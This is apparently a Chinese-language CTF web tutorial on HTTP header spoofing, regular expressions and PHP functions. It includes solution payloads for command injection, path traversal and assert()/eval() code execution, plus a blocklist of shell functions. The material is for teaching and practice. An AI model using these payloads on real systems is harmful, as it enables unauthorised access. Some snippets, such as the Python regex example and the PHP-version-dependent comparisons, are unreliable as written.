CTF·Web基础(持续更新,暂定)

README

整合作者:Pure Stream

这里是CTF·Web基础,每个篇章前如果有标了引用或者参考的文章,完全可以去看他们的文章,或者也可以看看我整理过后的正文。侵权立删。

本文适合刚入门的小白想全方位了解CTF·Web,并想参加一些CTF的比赛,也可以用于教学。

PS:我记得刚开始确实是基础的,后面自己也想学就加了一大堆更不基础的进去,但反正就这样叫吧()

刷题网站

https://www.polarctf.com/#/page/challenges POLAR靶场

题库 | NSSCTF NSS

BUUCTF在线评测 BUU

攻防世界 攻防世界

登录 春秋云镜(Web渗透)

CTFHub CTFhub

….

常用工具

‍‍‌‍‍‍⁠‍⁠‍⁠‍‍‬‬‌‌⁠⁠‍‬‍⁠‌⁠‍‬CTF基础工具的安装以及简单应用 - 飞书云文档

Docker Desktop

截至2025年7月初

1
2
3
4
5
6
7
8
9
10
11
12
{
"debug": true,
"experimental": false,
"insecure-registries": [],
"registry-mirrors": [
"https://docker.m.daocloud.io",
"https://docker.imgdb.de",
"https://docker-0.unsee.tech",
"https://docker.hlmirror.com",
"https://cjie.eu.org"
]
}

Nginx

1
2
3
4
5
6
7
配置文件存放目录:/etc/nginx
主配置文件: /etc/nginx/conf/nginx.conf
管理脚本: /usr/lib64/systemd/system/nginx.service
模块: /usr/lisb64/nginx/modules
应用程序: /usr/sbin/nginx
程序默认存放位置: /usr/share/nginx/html
日志默认存放位置: /var/log/nginx

HTTP

改浏览器信息+改本地地址+改地址+VPN+POST/GET…..

然后如果要求VPN的话就是用Via

对于XFF的绕过形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Client-IP:127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded:127.0.0.1
Forwarded: localhost
True-Client-IP:127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization : 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By:127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override : 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr : localhost
X-Remote-IP: 127.0.0.1

[GDOUCTF 2023]EZ WEB | NSSCTF PUT

[MoeCTF 2021]Do you know HTTP | NSSCTF

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP) Begin Of HTTP

Robots协议

Robots 协议(Robots Exclusion Protocol,简称 REP 或 robots.txt 协议)是一套由网站自行制定、搜索引擎自愿遵守的“君子协定”,用来告诉网络爬虫「哪些网页可以抓、哪些不可以抓」

如果出现在比赛题中:

直接dirsearch扫出来访问,可以看到一些提示或者是Flag

基本都是签到题

正则

regex101: build, test, and debug regex 测试正则的

正则表达式 – 语法 | 菜鸟教程 参考

介绍常见的正则表达式与语法

(以下一切的语法都可以在上面那个链接做演示)

(Python中想要使用正则需要使用re库)

[ABC]

匹配[…]中的所有字符

例如 [aeiou] 匹配字符串 “google runoob taobao” 中所有的 e o u a 字母

然后**[A-Z]**就是匹配A-Z中的所有字母(26个大写字母)


[^ABC]

匹配除了 […] 中字符的所有字符,例如 [^aeiou] 匹配字符串 “google runoob taobao” 中除了 e o u a 字母的所有字符


.

匹配除换行符(\n、\r)之外的任何单个字符,相等于 [^/n/r]


[\s\S]

匹配所有。\s 是匹配所有空白符,包括换行,\S 非空白符,不包括换行

空白符的定义

  • 在正则表达式中,空白符是用来匹配空格、制表符、换行符等不可见字符的特殊字符类。它包括以下几种常见的空白字符:
    • 空格( ):就是键盘上的空格键所产生的字符,用于分隔单词等
    • 制表符(\t):用于在文本中进行水平制表对齐,使文本内容在显示或打印时能够整齐排列
    • 换行符(\n):用于表示一行文本的结束,新的一行的开始。在不同的操作系统中,换行符可能有所不同,例如在 Windows 系统中是 \r\n,在 Unix/Linux 系统中是 \n
    • 换页符(\f):较少使用,用于将打印机的打印位置移动到下一页的开头
    • 垂直制表符(\v):也比较少用,用于垂直方向的制表对齐

非空白符的定义

  • 非空白符是指除空白符之外的所有可见字符,也可以包括一些不可见的控制字符,但不包括空白符所包含的字符。在正则表达式中,可以用 \S 来表示非空白符。例如,正则表达式 \S+ 可以匹配一个或多个非空白符

\w

匹配字母、下划线、数字

相当于 [A-Za-z0-9_]


\d

匹配任意一个阿拉伯数字

相当于 [0-9]


/i

忽略大小写,就比如:

1
preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i')

这里加了个 /i,那你的Php,PhP这种的都会被当作php处理,就防止你进行大小写绕过


匹配特殊字符 /

你就在 / 后面加你想要过滤的

比如:

1
/php|flag|zlib|ftp|system

| 作为分隔符

如果想要过滤特别字符,比如 $, * , ^

就要在前面加转义符号 \

1
|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|

限定符号

* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”* 等价于 {0,} ,其实就是匹配所以以这个开头的字符串,比如cat /f* 尝试一下 »
+ 匹配前面的子表达式一次或多次。例如,zo+ 能匹配 “zo” 以及 “**zoo”**,但不能匹配 “z”+ 等价于 {1,} 尝试一下 »
? 匹配前面的子表达式零次或一次。例如,do(es)? 可以匹配 “do” 、 **”does”**、 “doxy” 中的 “do”“does”? 等价于 {0,1},要是知道flag文件长度,你可以直接cat /f???,这就相当于cat /flag,但绕过了对flag的过滤 尝试一下 »
{n} n 是一个非负整数。匹配确定的 n 次。例如,o{2} 不能匹配 “Bob” 中的 o,但是能匹配 “food” 中的两个 o 尝试一下 »
{n,} n 是一个非负整数。至少匹配n 次。例如,o{2,} 不能匹配 “Bob” 中的 o,但能匹配 “foooood” 中的所有 oo{1,} 等价于 o+o{0,} 则等价于 o* 尝试一下 »
{n,m} m 和 n 均为非负整数,其中 n <= m。最少匹配 n 次且最多匹配 m 次。例如,o{1,3} 将匹配 “fooooood” 中的前三个 oo{0,1} 等价于 **o?**。请注意在逗号和两个数之间不能有空格

E.g

1
/[1-9][0-9]*/
  1. [1-9]:匹配一个1到9之间的数字,即数字不能以0开头
  2. [0-9]*:匹配0个或多个0到9之间的数字

例如:

  • 匹配:1, 12, 999, 1024
  • 不匹配:0(以零开头), 012(以零开头), abc(非数字)

如果删去了 *

1
/[1-9][0-9]/

就只能匹配两位数字了

当然 /[0-9]{1,2}/ 也可以匹配两位数字,但是允许01,00,02这种的出现

避免这种情况

改进下,匹配 1~99 的正整数表达式如下:

1
/[1-9][0-9]?/

1
/[1-9][0-9]{0,1}/

贪婪匹配和非贪婪匹配

*+ 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配

以匹配 HTML 文档为例

1
<h1>miHoYo</h1>

贪婪:下面的表达式匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容

1
/<.*>/

会匹配整个 <h1>miHoYo</h1>

非贪婪:如果您只需要匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配 <h1>

1
/<.*?>/

只会匹配到 <h1>

通过在 *+? 限定符之后放置 **?**,该表达式从”贪婪”表达式转换为”非贪婪”表达式或者最小匹配


定位符

定位符使您能够将正则表达式固定到行首或行尾

定位符用来描述字符串或单词的边界,^$ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界

正则表达式的定位符有:

字符 描述 实例
^ 匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配 尝试一下 »
$ 匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配 尝试一下 »
\b 匹配一个单词边界,即字与空格间的位置 尝试一下 »
\B 非单词边界匹配 尝试一下 »

注意:不能将限定符与定位符一起使用。由于在紧靠换行或者单词边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式

若要匹配一行文本开始处的文本,请在正则表达式的开始使用 ^ 字符。不要将 ^ 的这种用法与中括号表达式内的用法混淆

若要匹配一行文本的结束处的文本,请在正则表达式的结束处使用 $ 字符

若要在搜索章节标题时使用定位点,下面的正则表达式匹配一个章节标题,该标题只包含两个尾随数字,并且出现在行首

1
/^Chapter [1-9][0-9]{0,1}/

如果要匹配的是:

1
2
3
4
5
Chapter 1
Chapter 5
Chapter 10
Chapter 99
Chapter 123

那么这段会匹配到:

1
2
3
4
Chapter 1
Chapter 5
Chapter 10
Chapter 99

真正的章节标题不仅出现行的开始处,而且它还是该行中仅有的文本。它既出现在行首又出现在同一行的结尾。下面的表达式能。通过创建只匹配一行文本的开始和结尾的正则表达式,就可做到这一点

1
/^Chapter [1-9][0-9]{0,1}$/

如果匹配:

1
2
3
4
5
6
7
8
9
Chapter 1
Chapter 5
Chapter 10
Chapter 99
Chapter 123
Chapter 0
Chapter
Chapter 05
Chapter 1 is referenced in Chapter 3

只会匹配到:

1
2
3
4
Chapter 1
Chapter 5
Chapter 10
Chapter 99

匹配单词边界稍有不同,但向正则表达式添加了很重要的能力。单词边界是单词和空格之间的位置。非单词边界是任何其他位置。下面的表达式匹配单词 Chapter 的开头三个字符,因为这三个字符出现在单词边界后面:

1
/\bCha/

如果你输入:

1
2
3
4
Chapter 1
Chaotic
AChapter
Cha
  • 匹配的内容
    • Chapter 1(匹配 Cha,出现在单词边界)
    • Chaotic(匹配 Cha,出现在单词边界)
    • Cha(匹配整个单词)
  • 不匹配的内容
    • AChapterCha 不在单词边界)

\b 字符的位置是非常重要的。如果它位于要匹配的字符串的开始,它在单词的开始处查找匹配项。如果它位于字符串的结尾,它在单词的结尾处查找匹配项。例如,下面的表达式匹配单词 Chapter 中的字符串 ter,因为它出现在单词边界的前面:

1
/ter\b/

如果你输入:

1
2
3
4
preter
alter
terraform
terrestrial
  • 匹配的内容
    • preter(匹配 ter,出现在单词结尾)
    • alter(匹配 ter,出现在单词结尾)
  • 不匹配的内容
    • terraformter 不在单词结尾)
    • terrestrialter 不在单词结尾)

下面的表达式匹配 Chapter 中的字符串 apt,但不匹配 aptitude 中的字符串 apt:

1
/\Bapt/

如果你输入:

1
2
3
4
Chapter
apartment
Apt
aptitude
  • 匹配的内容
    • Chapter(匹配apt,因为出现在非单词边界)
  • 不匹配的内容
    • aptitude(不匹配 apt,出现在单词边界)
    • Apt(匹配 Apt 中的 Apt,但 \B 确保 apt 出现在非单词边界,但在这个例子中 Apt 是一个独立的单词,所以不匹配)

字符串 apt 出现在单词 Chapter 中的非单词边界处,但出现在单词 aptitude 中的单词边界处。对于 \B 非单词边界运算符,不可以匹配单词的开头或结尾,如果是下面的表达式,就不匹配 Chapter 中的 Cha:

1
\BCha

同上原理,不作演示


选择

用圆括号 () 将所有选择项括起来,相邻的选择项之间用 | 分隔

() 表示捕获分组,**()** 会把每个分组里的匹配的值保存起来, 多个匹配值可以通过数字 n 来查看(n 是一个数字,表示第 n 个捕获组的内容)

比如你输入: /([1-9])([a-z]+)/g

1
123mihoyo114514zzz22

可以看到匹配到了两个,这个正则意思是第一位是数字然后后面匹配1或多个小写字母

但用圆括号会有一个副作用,使相关的匹配会被缓存,此时可用 ?: 放在第一个选项前来消除这种副作用

其中 ?: 是非捕获元之一,还有两个非捕获元是 ?=?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串

exp1(?=exp2)

查找exp2前面的exp1

还是沿用刚刚的例子,我们把正则语句改成 /mihoyo(?=\d)/ 也就是匹配一个数字前面的mihoyo

可以看到:

(?<=exp2)exp1

查找 exp2 后面的 exp1

跟上面差不多,就是换了位置

exp1(?!exp2)

查找后面不是 exp2 的 exp1

我们把正则改成 /mihoyo(?![0-9]+)/

沿用刚刚的例子,发现:

匹配失败,而当我们在mihoyo后面加个非数字比如 -,那么就匹配得到了:

(?<!exp2)exp1

查找前面不是 exp2 的 exp1

也是和上面一样,但是换了个位置


反向引用

  • 定义与语法 :反向引用使用特殊字符来表示对前面某个分组的引用,通常用\后跟数字来表示。例如,\1 表示对第一个捕获组的反向引用,\2表示对第二个捕获组的反向引用,依此类推
  • 作用与应用场景
    • 匹配相同内容 :当需要匹配与前面某个特定模式相同的内容时,反向引用非常有用。例如,在验证某些格式的字符串时,如检查一个字符串是否为形如 abc-abc 这种前后部分相同的格式,可以使用反向引用。正则表达式可以写成 ^(\w+)-\1$,其中(\w+)是一个捕获组,匹配前面的单词字符部分,后面的\1则表示匹配与第一个捕获组相同的内容
    • 替换操作 :在使用正则表达式进行字符串替换时,反向引用可以将捕获到的子表达式重新插入到替换后的字符串中。例如,将字符串中的日期格式从 yyyy-mm-dd 转换为 dd-mm-yyyy ,可以使用正则表达式 (\d{4})-(\d{2})-(\d{2}) 进行匹配和捕获,然后在替换字符串中使用反向引用,如 $3-$2-$1
    • (在某些语言中,反向引用的表示方式可能不同,例如在 JavaScript 中使用 $1、$2 等,在 Python 中使用 \g<1>、\g<2> 等)

E.g1

我现在有一段句子,里面包含多个重复的单词

1
hello hello world world this is is a test test

我们可以用:

1
(\b\w+\b)\s+\1

来匹配,这里的\b\b就是取边界(边界也是一样的字符,遇到不一样的就不配),然后中间都是相同的字段

\s+ 负责匹配一个或多个空白符,\1就代表示匹配与第一个捕获组相同的内容,比如在这个例子中,第一个捕获组捕捉到的是 hello\1 就匹配后面也是hello的字符串,以此类推它可以捕获全部相同的字段

E.g2

我们来匹配个URL,比如

1
https://www.example.com:8080/path/to/resource

我们用:

1
/(\w+):\/\/([^\:]+)(:\d*)?([^# ]*)/

1. (\w+)

  • 含义: 匹配一个或多个字母、数字或下划线
  • 作用: 用于匹配 URL 的协议部分,例如 httphttps

2. :\/\/

  • 含义: 匹配字面的 ://
  • 作用: 分隔协议部分和域名部分

3. ([^/:]+)

  • 含义: 匹配一个或多个不是 /: 的字符
  • 作用: 用于匹配域名部分,例如 www.example.com

4. (:\d*)?

  • 含义:
    • :: 匹配字面的 :
    • \d*: 匹配零个或多个数字
    • ?: 表示整个部分是可选的。
  • 作用: 用于匹配端口号部分,例如 :8080,但这个部分是可选的

5. ([^# ]*)

  • 含义: 匹配零个或多个不是 # 或空格的字符
  • 作用: 用于匹配 URL 的路径部分,例如 /path/to/resource

用Python你可以这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re

url = "https://www.example.com:8080/path/to/resource"
pattern = r'/(\w+):\/\/([^\:]+)(:\d*)?([^# ]*)/'

match = re.match(pattern, url)
if match:
print("Protocol:", match.group(1))
print("Domain:", match.group(2))
print("Port:", match.group(3))
print("Path:", match.group(4))
else:
print("No match")

EasyPHP

PHP函数

(列一些遇到的和基本的)

preg_match()

用于执行正则表达式匹配

1
preg_match($pattern, $subject)

$pattern是正则表达式,$subject是要匹配的字符串

include()

包含文件,将指定文件的内容嵌入到当前脚本中

shell_exec

执行里面的语句

parse_str()

  • parse_str()函数直接将查询参数解析到当前作用域变量中
1
@parse_str($id); // 未使用第二个参数导致变量覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

id=a[]=www.polarctf.com&cmd=;tac f*

is_numeric

1
bool is_numeric ( mixed $var )

如果变量是数值或数值字符串,则返回 true,否则返回 false

strrev

strrev 是 PHP 中用于反转字符串的函数。

1
2
3
<?php
echo strrev("Hello World!"); // 输出 "!dlroW olleH"
?>

mb_strpos

1
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )
  1. $haystack:
    • 必需。要在其中搜索的字符串(主字符串)。
  2. $needle:
    • 必需。要查找的字符或子字符串。
  3. $offset:
    • 可选。指定从哪个位置开始搜索。默认值为 0(从字符串开头开始搜索)。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回 $needle$haystack 中首次出现的位置(从 0 开始计数)。
  • 如果未找到 $needle,返回 false

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 查找单个字符的位置
$pos = mb_strpos($string, "世", 0, $encoding);
echo "字符 '世' 的位置: " . $pos; // 输出:字符 '世' 的位置: 7

// 查找子字符串的位置
$pos = mb_strpos($string, "世界", 0, $encoding);
echo "子字符串 '世界' 的位置: " . $pos; // 输出:子字符串 '世界' 的位置: 7



mb_strpos($page . '?', '?'):
mb_strpos 是一个多字节字符串处理函数,用于查找指定字符的位置。
$page . '?' 是为了确保即使 $page 中没有问号 ?,也不会导致 mb_strpos 返回 false
mb_strpos($page . '?', '?') 的作用是找到 $page 中第一个问号 ? 的位置。
如果 $page 中已经包含问号 ?,则返回问号的位置;如果 $page 中没有问号,则 $page . '?' 会在末尾添加一个问号,返回问号的位置即字符串长度。

?file=source.php%3f../../../../../ffffllllaaaagggg

mb_substr

1
mb_substr ( string $string , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )
  1. $string:
    • 必需。原始字符串。
  2. $start:
    • 必需。指定从哪个位置开始截取。如果为正数,从字符串开头向后数 $start 个字符的位置开始;如果为负数,从字符串末尾向前数 $start 个字符的位置开始。
  3. $length:
    • 可选。指定截取的长度。如果为正数,从 $start 位置开始向前数 $length 个字符;如果为负数,从 $start 位置开始到字符串末尾向前数 $length 个字符的位置;如果省略,则截取从 $start 到字符串末尾的所有字符。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回从 $start 开始,长度为 $length 的子字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 从第7个字符开始截取,长度为2
$sub = mb_substr($string, 7, 2, $encoding);
echo $sub; // 输出:世界

// 从第7个字符开始截取到末尾
$sub = mb_substr($string, 7, NULL, $encoding);
echo $sub; // 输出:世界!

// 从倒数第5个字符开始截取,长度为5
$sub = mb_substr($string, -5, 5, $encoding);
echo $sub; // 输出:, 世界!

// 从倒数第5个字符开始截取到倒数第2个字符
$sub = mb_substr($string, -5, -2, $encoding);
echo $sub; // 输出:, 世

putenv

  1. putenv 函数:
    • putenv 是 PHP 中的一个函数,用于设置环境变量。
    • 语法:bool putenv ( string $setting )
    • 参数 $setting 是一个字符串,格式为 "变量名=值"
  2. PATH=/home/rceservice/jail:
    • 这是设置 PATH 环境变量的值为 /home/rceservice/jail
    • PATH 环境变量用于指定系统在查找可执行文件时搜索的目录路径。

假设有一个 PHP 脚本需要执行外部命令 ls,并且 PATH 被设置为 /home/rceservice/jail

1
2
putenv('PATH=/home/rceservice/jail');
system('ls');
  • 系统会在 /home/rceservice/jail 目录下查找 ls 命令。
  • 如果 /home/rceservice/jail/ls 存在,就会执行该文件;否则,会报错。

pahinfo()

将传入的路径“字典化”

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123’));

1
2
3
4
5
6
7
8
array(3) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(3) "123"
["filename"]=>
string(3) "123"
}

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt’));

1
2
3
4
5
6
7
8
9
10
array(4) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(7) "123.txt"
["extension"]=>
string(3) "txt"
["filename"]=>
string(3) "123"
}

file_put_contents()

将结果放进文件中

addslashes()

addslashes是PHP中的一个字符串处理函数,用于在字符串中的某些特定字符前添加反斜杠(\),以确保这些字符在后续的处理过程中不会引起语法错误或安全问题。这些特定字符包括单引号(')、双引号(")、反斜杠(\)和NULL字节。

功能说明

  • 作用:在字符串中的单引号(')、双引号(")、反斜杠(\)和NULL字节前添加反斜杠。
  • 目的:防止这些字符在SQL查询、字符串拼接等操作中引起语法错误或安全问题(如SQL注入)。
  • 返回值:返回处理后的字符串。

使用示例

1
2
3
4
5
<?php
$str = "Hello 'World'";
$escaped_str = addslashes($str);
echo $escaped_str; // 输出:Hello \'World\'
?>

extract()

用于从数组中提取元素并将它们导入到当前的符号表中,即将数组的键名作为变量名,键值作为变量值。

很可能会覆盖变量!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失

assert()

  1. 基本概念
    • assert() 函数是 PHP 中用于断言的内置函数。断言是一种编程概念,它允许程序员在程序代码中放置检查点,以验证程序的状态是否符合预期。在 PHP 中,这个函数默认是启用的,它可以帮助开发者在开发和调试过程中快速发现程序中的逻辑错误。
    • assert()函数会将读入的代码当作php执行

E.g

1
2
3
4
5
6
7
8
9
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")注释掉

然后构造payload:?page='.phpinfo();//

').system("cat templates/flag.php");//

变为:

1
assert("strpos('templates/').system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");)

只留下:

1
assert("strpos('templates/').system("cat templates/flag.php");

uniqid()

uniqid() 是 PHP 中的一个函数,用于生成一个唯一的 ID,通常用于创建唯一的标识符,例如文件名、临时标识符等。它基于当前时间戳生成,具有较高的唯一性,但并不是绝对的全球唯一。

1
2
3
4
5
6
7
8
9
10
<?php
// 基本用法
echo uniqid(); // 输出类似: 55c31b2d67f66

// 带前缀
echo uniqid('prefix_'); // 输出类似: prefix_55c31b2d67f66

// 添加额外熵
echo uniqid('', true); // 输出类似: 55c31b2d7e5e25.43184718
?>

date()

[CISCN 2023 华北]ez_date | NSSCTF

PHP 中的 date() 函数是一个非常重要的日期和时间处理函数,它能够格式化一个时间戳为更易读的日期和时间形式

常用格式化参数

  • d:表示一个月中的第几天,两位数字,如果是一天则前面补零,如 0131
  • m:表示一年中的第几个月,两位数字,如 0112
  • Y:四位数字完整表示年份,如 2023
  • H:表示小时,24 小时制,两位数字,如 0023
  • i:表示分,两位数字,如 0059
  • s:表示秒,两位数字,如 0059
  • a:表示 AM 或 PM(上午或下午)。
  • l:(小写的 L):完整的星期几的文本名称,如 Monday
  • M:三个字母缩写的月份名称,如 Jan
  • g :用于获取小时部分,范围是从 1 到 12。
1
2
3
4
5
6
7
8
9
10
11
<?php
// 基本用法,获取当前日期和时间
echo date("Y-m-d H:i:s"); // 输出类似: 2023-10-05 15:30:45

// 格式化特定时间戳
$timestamp = strtotime("2023-10-01 12:00:00");
echo date("l, F j, Y, g:i A", $timestamp); // 输出: Sunday, October 1, 2023, 12:00 PM

// 获取当前的日期和时间中星期几的名称
echo date("l"); // 输出类似: Friday
?>

@stream_context_create()

stream_context_create 是 PHP 中用于创建一个流(stream)上下文的函数。流上下文是为文件流(比如网络请求)配置选项的一个集合,它可以让开发者对流的行为进行自定义,比如设置请求头、超时时间、用户认证等。

语法

  • resource stream_context_create ( array $options [, array $params ] )
  • 参数 options 是一个关联数组,用于指定不同协议(如 HTTP、FTP 等)的上下文选项,默认值为 NULL。例如,对于 HTTP 请求,可以设置 header 选项来添加请求头信息。
  • 参数 params 是一个关联数组,用于指定上下文的参数,如通知回调函数等,默认值为 NULL。

使用示例

  • 创建一个 HTTP 请求上下文,设置用户代理和请求头:
1
2
3
4
5
6
7
8
9
10
11
12
$options = [
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n",
'timeout' => 30
]
];

$context = stream_context_create($options);

// 使用上下文打开网页并获取内容
$content = file_get_contents('https://www.example.com', false, $context);
  • 在这个例子中,stream_context_create 创建了一个用于 HTTP 协议的上下文,设置了请求方法为 GET、添加了用户代理头,并设置了超时时间为 30 秒。然后使用 file_get_contents 函数和这个上下文来获取网页的内容。

strcmp()

strcmp 是一个用于比较两个字符串的函数。

  1. 函数原型
    • int strcmp ( string $str1 , string $str2 )
  2. 参数
    • $str1:第一个要比较的字符串。
    • $str2:第二个要比较的字符串。
  3. 返回值
    • 如果返回值小于 0,表示 $str1 小于 $str2
    • 如果返回值等于 0,表示 $str1$str2 相等。
    • 如果返回值大于 0,表示 $str1 大于 $str2

extract()

extract() 是 PHP 中一个用于从数组中将变量导入到当前符号表的函数。它主要用来方便地将数组中的键值对转换为单独的变量。下面详细介绍其使用方法、参数以及注意事项:

函数定义

1
int extract ( array $array [, int $extract_type = EXTR_OVERWRITE [, string $prefix ]] )

参数详解

  • $array :必需。要从其中提取变量的数组。
  • $extract_type :可选。用于指定冲突时的处理方式,默认值为 EXTR_OVERWRITE。常见的可选值有:
    • EXTR_OVERWRITE :如果有冲突,覆盖已存在的变量。
    • EXTR_SKIP :如果有冲突,不覆盖已存在的变量。
    • EXTR_PREFIX_SAME :如果有冲突,则给变量添加前缀。
    • EXTR_PREFIX_ALL :给所有变量添加前缀。
    • EXTR_PREFIX_INVALID :仅给无效的或数字的变量名添加前缀。
  • $prefix :可选。如果指定了前缀类型,需要提供一个前缀。前缀用于区分变量名,避免冲突。

返回值

该函数返回成功提取的变量数目。

使用示例

1
2
3
4
$data = ['name' => 'Alice', 'age' => 30];
extract($data);
echo $name; // 输出:Alice
echo $age; // 输出:30

注意事项

  • 变量覆盖风险 :使用 extract() 时需要特别小心,因为它可能导致变量覆盖问题。如果从外部输入(如用户输入)构造的数组中提取变量,可能会无意中覆盖重要的变量,从而引发意外行为或安全漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 假设有一个数组,其内容可能来自外部输入(如用户提交的表单数据)
$user_input = array("user_id" => "123", "role" => "admin");

// 现变量有的
$user_id = "456";
$role = "user";

// 使用 extract() 函数提取数组中的变量
extract($user_input);

// 输出结果,查看变量是否被覆盖
echo "User ID: " . $user_id . "\n";
echo "Role: " . $role . "\n";

// 如果 $user_input 数组来自不可信的外部输入,这就可能导致严重的安全问题
?>




//User ID: 123 Role: admin

getallheaders()

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!)

使用 getallheaders() 获取当前请求的所有 HTTP 标头,并返回一个数组

pos()

pos() 函数是 PHP 中的一个内置函数,用于返回数组中当前元素的值。它是 current() 函数的别名,二者功能完全相同

参数

  • $array:必需,指定要操作的数组。

返回值

返回数组中当前指针所指向的元素的值。如果指针超出了数组的范围,则返回 false

使用示例

1
2
3
4
5
6
7
8
9
10
<?php
$array = array(1, 2, 3, 4, 5);
echo pos($array); // 输出 1,因为指针最初指向第一个元素

next($array); // 移动指针到下一个元素
echo pos($array); // 输出 2

next($array);
echo pos($array); // 输出 3
?>

array_reverse()

这个函数用于反转数组的顺序。它接收一个数组作为参数,并返回一个新的数组,其元素顺序与原数组相反

可以结合pos()和eval()使用,比如

1
2
3
4
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
X-Custom-Header: <?php phpinfo(); ?>
  1. getallheaders() 返回的数组是:

    1
    2
    3
    4
    5
    6
    [
    'Host' => 'example.com',
    'User-Agent' => 'Mozilla/5.0',
    'Accept' => 'text/html',
    'X-Custom-Header' => '<?php phpinfo(); ?>'
    ]
  2. array_reverse() 反转后的数组是:

    1
    2
    3
    4
    5
    6
    [
    'X-Custom-Header' => '<?php phpinfo(); ?>',
    'Accept' => 'text/html',
    'User-Agent' => 'Mozilla/5.0',
    'Host' => 'example.com'
    ]
  3. pos() 获取反转后数组的第一个元素,即 '<?php phpinfo(); ?>'

  4. eval() 尝试执行这个字符串作为 PHP 代码。如果字符串是有效的 PHP 代码,它会被执行。

highlight_file()

highlight_file用于将一个文件的内容作为HTML语法高亮显示。它会显示文件的源代码,其中每个元素使用HTML标记进行语法高亮

比较

php 弱类型总结 - Mrsm1th - 博客园

CTF-WEB:PHP 弱类型 - 乌漆WhiteMoon - 博客园

php中有两种比较

1
2
a == b
a === b

两个等于在比较的时候,会将字符串类型转化成相同的再比较

比如:

1
2
a = 123
b = '123a'

这两个其实是相等的,这在绕过检测中是非常重要的

比如让判断 a == 123,但又规定a不允许为数字,就可以利用弱比较来绕过

还有一些:

1
2
3
4
5
6
7
8
9
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true 因为直接转化成1
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

